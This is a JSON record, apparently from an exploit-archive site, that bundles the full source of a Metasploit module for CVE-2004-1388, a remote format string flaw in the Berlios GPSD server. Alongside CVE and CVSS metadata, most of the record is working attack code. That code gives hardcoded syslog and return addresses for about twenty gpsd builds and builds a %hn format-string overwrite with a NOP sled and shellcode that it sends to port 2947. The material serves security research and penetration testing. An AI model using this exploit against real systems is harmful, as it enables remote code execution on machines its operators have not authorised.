{"exploit":{"id":"MSF-linux--http--gpsd_format_string","name":"Berlios GPSD Format String Vulnerability","description":"This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre.","cves":["CVE-2004-1388"],"author":"Yann Senotier","published":"2005-05-25","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/gpsd_format_string.rb","path":"modules/exploits/linux/http/gpsd_format_string.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"gpsd_format_string.rb","vulnerabilities":[{"id":"CVE-2004-1388","state":"PUBLISHED","title":null,"titleSource":null,"description":"Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute arbitrary code via certain GPS requests containing format string specifiers that are not properly handled in syslog calls.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1388","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1388"},"updatedAt":"2024-08-08T00:46:12.549Z","retrievedAt":"2026-11-26T14:01:58.064Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--gpsd_format_string.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--gpsd_format_string","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--gpsd_format_string/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--gpsd_format_string/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = AverageRanking\n\n  include Msf::Exploit::Remote::Tcp\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Berlios GPSD Format String Vulnerability',\n        'Description' => %q{\n          This module exploits a format string vulnerability in the Berlios GPSD server.\n          This vulnerability was discovered by Kevin Finisterre.\n        },\n        'Author' => [ 'Yann Senotier <yann.senotier[at]cyber-networks.fr>' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2004-1388' ],\n          [ 'OSVDB', '13199' ],\n          [ 'BID', '12371' ],\n          [ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],\n\n        ],\n        'Platform' => 'linux',\n        'Arch' => ARCH_X86,\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 1004,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x0c\",\n\n        },\n        'Targets' => [\n          [ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],\n          [ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],\n          [ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],\n          [ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],\n          [ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],\n          [ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],\n          [ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],\n          [ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],\n          [ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],\n          [ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],\n          [ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],\n          [ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],\n          [ 'Debug              ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],\n        ],\n        'DisclosureDate' => '2005-05-25',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(2947)\n      ]\n    )\n  end\n\n  def exploit\n    connect\n\n    print_status(\"Trying target #{target.name}...\")\n\n    offset = 17\n    dump_fmt = 7\n    al = 3\n\n    hi = (target.ret >> 0) & 0xffff\n    lo = (target.ret >> 16) & 0xffff\n\n    shift0 = sprintf(\"%d\", hi) - sprintf(\"%d\", offset) - (dump_fmt * 8 + 16 + al)\n    shift1 = (sprintf(\"%d\", 0x10000) + sprintf(\"%d\", lo)) - sprintf(\"%d\", hi)\n\n    buf = \"A\" * 3 + \"B\" * 4\n    buf += [ target['Syslog']].pack('V')\n    buf += \"B\" * 4\n    buf += [ target['Syslog'] + 0x2].pack('V')\n    buf += \"%.8x\" * 7 + \"%.\" + shift0 + \"lx%hn\" + \"%.\" + shift1 + \"lx%hn\"\n    buf += make_nops(3000) + payload.encoded\n\n    sock.put(buf)\n\n    handler\n    disconnect\n  end\nend\n","sha256":"8ea97b8e0d610a0987d1b13bf226ffa2fcdc7b45ba104dce2cd5242724c80bf5","bytes":3951,"fetchedAt":"2026-11-26T14:08:11.166Z","encoding":"utf-8 (display only; download retains original bytes)"}